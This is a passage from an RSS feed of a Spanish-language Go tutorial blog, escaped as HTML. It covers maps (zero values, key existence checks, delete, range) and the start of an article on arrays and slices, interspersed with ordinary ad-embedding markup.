style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;diccionario[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;world&amp;#34;&lt;/span&gt;] = &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(diccionario)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// map[hello:2 world:1]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;¡Ahora mira esto! Tenemos un map o diccionario con solo dos llaves, mira que pasa si accedemos a una tercera.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(saldo[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;usuario&amp;#34;&lt;/span&gt;])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// ¿Cómo distinguimos si el usuario no existe o si tiene un saldo igual a 0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Si intentamos acceder a una llave que no existe, go nos devolverá su respectivo zero value&lt;/strong&gt;, pero esto nos lleva a un problema: ¿cómo distinguimos si tenemos un cero porque la llave no existe o porque el valor de nuestra llave es cero?&lt;/p&gt;&#xA;&lt;h2 id=&#34;distinguir-entre-valores-inexistentes-y-zero-values&#34;&gt;Distinguir entre valores inexistentes y zero values&lt;/h2&gt;&#xA;&lt;p&gt;Para distinguir entre un zero value, go nos provee de un segundo valor de retorno, que nos indica si existe una llave. Este segundo valor es un booleano: &lt;em&gt;true&lt;/em&gt; o &lt;em&gt;false&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;value, exist &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; diccionario[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Inexistente&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;capacidad-opcional-en-maps&#34;&gt;Capacidad opcional en maps&lt;/h2&gt;&#xA;&lt;p&gt;Para establecer una capacidad máxima de llaves en un &lt;em&gt;map&lt;/em&gt;, le pasamos la longitud del map como segundo argumento.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;m &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;map&lt;/span&gt;[&lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;]&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;99&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sin embargo, a diferencia de los slices, esta longitud solo le indica al compilador que asigne un mínimo de memoria, si agregamos más llaves del valor máximo se seguirán añadiendo, aunque no tan eficientemente.&lt;/p&gt;&#xA;&lt;h2 id=&#34;borrar-llaves-con-delete&#34;&gt;Borrar llaves con delete&lt;/h2&gt;&#xA;&lt;p&gt;Si queremos deshacernos de una llave de nuestro &lt;em&gt;map&lt;/em&gt;, usamos la función &lt;em&gt;delete,&lt;/em&gt; la cual borra una llave de un map o diccionario.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;delete&lt;/span&gt;(diccionario, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Helio&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;recorrer-un-map-con-range&#34;&gt;Recorrer un map con range&lt;/h2&gt;&#xA;&lt;p&gt;Al igual que con un un &lt;em&gt;array&lt;/em&gt; o un &lt;em&gt;slice&lt;/em&gt;, podemos recorrer un &lt;em&gt;map&lt;/em&gt; usando &lt;em&gt;range&lt;/em&gt;. Cada iteración nos devolverá la llave y el valor.&lt;/p&gt;&#xA;&lt;p&gt;Recuerda que, al ser un map, &lt;strong&gt;los elementos se retornarán sin ningún orden en particular.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; key, value &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;range&lt;/span&gt; diccionario {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(key,value)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con esto doy por terminada la entrada, es lo mínimo que se debe saber sobre los maps o diccionarios en go.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;En el lenguaje de programación go, un map o hash table es el equivalente de un diccionario; poseen una llave o key que se relaciona con un valor o value. La llave y el valor pueden ser de diferentes tipos de datos, pero todas las llaves deben ser de un solo tipo y todos los valores deben ser del mismo tipo.&lt;/p&gt;&#xA;&lt;p&gt;Junto con el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-slices-y-arrays/&#34;&gt;array y el slice de go&lt;/a&gt;&#xA;, un map es una estructura que nos sirve como una colección de valores.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go:  slices y arrays</title>
      <link>https://coffeebytes.dev/es/go/go-slices-y-arrays/</link>
      <pubDate>Tue, 14 Dec 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/go/go-slices-y-arrays/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;En go o golang los slices, los arrays y los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-maps-o-diccionarios/&#34;&gt;maps&lt;/a&gt;&#xA; son estructuras para manejar colecciones de datos. En esta entrada voy a hablar de los dos primeros: slices y arrays.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;arrays-en-go&#34;&gt;Arrays en go&lt;/h2&gt;&#xA;&lt;p&gt;Los arrays son &lt;strong&gt;colecciones de datos inmutables&lt;/strong&gt;, para crear un &lt;em&gt;array&lt;/em&gt; necesitamos definir su tamaño y el tipo de dato que contendrá, &lt;strong&gt;una vez declarado no se puede modificar&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; array [&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;]&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;¿Te suena el nombre de Brian W. Kernighan? ¿Sí? Es el autor de &#39;El libro del lenguaje de programación C&#39;. ¿Sabías que también escribió este libro sobre el lenguaje de programación Go? Si te gustó su estilo, probablemente también disfrutes este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Lenguaje de programación Go\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103953/go-programming-language-book_vp91jl.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41nJIXH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Lenguaje de Programación Go en Amazon\&#34;,\&#34;title\&#34;:\&#34;Dónde aprender Go\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;En el ejemplo anterior, tenemos un &lt;em&gt;array&lt;/em&gt; con espacio para 4 enteros. Los valores que no asignemos se asignarán como zero values.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-slices-and-arrays-basic-characteristics-and-most-common-uses/images/arrayGolang-1.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-slices-and-arrays-basic-characteristics-and-most-common-uses/images/arrayGolang-1.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Estructura de un array en go&#34; width=&#34;800&#34; height=&#34;200&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;asignar-valores-a-un-array&#34;&gt;Asignar valores a un array&lt;/h3&gt;&#xA;&lt;p&gt;Para asignar valores a un &lt;em&gt;array&lt;/em&gt;, previamente declarado, utilizamos su índice.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;array[&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;] = &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// [0, 1, 0, 0]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;También podemos crear un array directamente dentro de una función colocando cada elemento del array entre llaves, separados por comas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;array &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; [&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;]&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;{&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;slices-en-go&#34;&gt;Slices en go&lt;/h2&gt;&#xA;&lt;p&gt;Los slices son &lt;strong&gt;colecciones mutables de tipos de datos&lt;/strong&gt;. Internamente, un slice es una abstracción de un array, con la diferencia de que pueden modificarse.&lt;/p&gt;&#xA;&lt;p&gt;Sin embargo, al declarar un slice, y luego intentar modificar uno de sus índices, justo como haríamos con un array, tendremos un error. ¿Por qué? Porque un slice es una referencia, y al crearse vacío, estamos apuntando a la nada, a &lt;em&gt;nil&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; slice []&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;slice[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;] = &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// panic: runtime error: index out of range [0] with length 0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;estructura-interna-de-un-slice-en-go&#34;&gt;Estructura interna de un slice en Go&lt;/h3&gt;&#xA;&lt;p&gt;Como mencioné, un &lt;em&gt;slice&lt;/em&gt; es un &lt;em&gt;struct&lt;/em&gt; con un apuntador al verdadero array. Además del pointer o apuntador, cuenta con| la propiedad llamada &lt;em&gt;cap&lt;/em&gt; y &lt;em&gt;len&lt;/em&gt;, que se refieren a la capacidad y longitud del array, respectivamente.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-slices-and-arrays-basic-characteristics-and-most-common-uses/images/sliceGolang.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-slices-and-arrays-basic-characteristics-and-most-common-uses/images/sliceGolang.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Estructura de un slice en go&#34; width=&#34;800&#34; height=&#34;200&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Un apuntador del slice dirige a los datos que contiene&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Para crear un slice no vacío tenemos dos maneras de hacerlo:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Asignar memoria con la función &lt;em&gt;make&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Declararlo directamente pasándole el contenido después del tipo de dato del slice&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;crear-un-slice-con-make&#34;&gt;Crear un slice con make&lt;/h3&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;La función &lt;em&gt;make&lt;/em&gt; asigna memoria e inicializa un objeto del tipo &lt;em&gt;slice&lt;/em&gt;, &lt;em&gt;map&lt;/em&gt; o &lt;em&gt;chan&lt;/em&gt; y lo retorna. Si usamos make, es necesario pasarle la longitud del slice como segundo argumento.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; slice = &lt;span 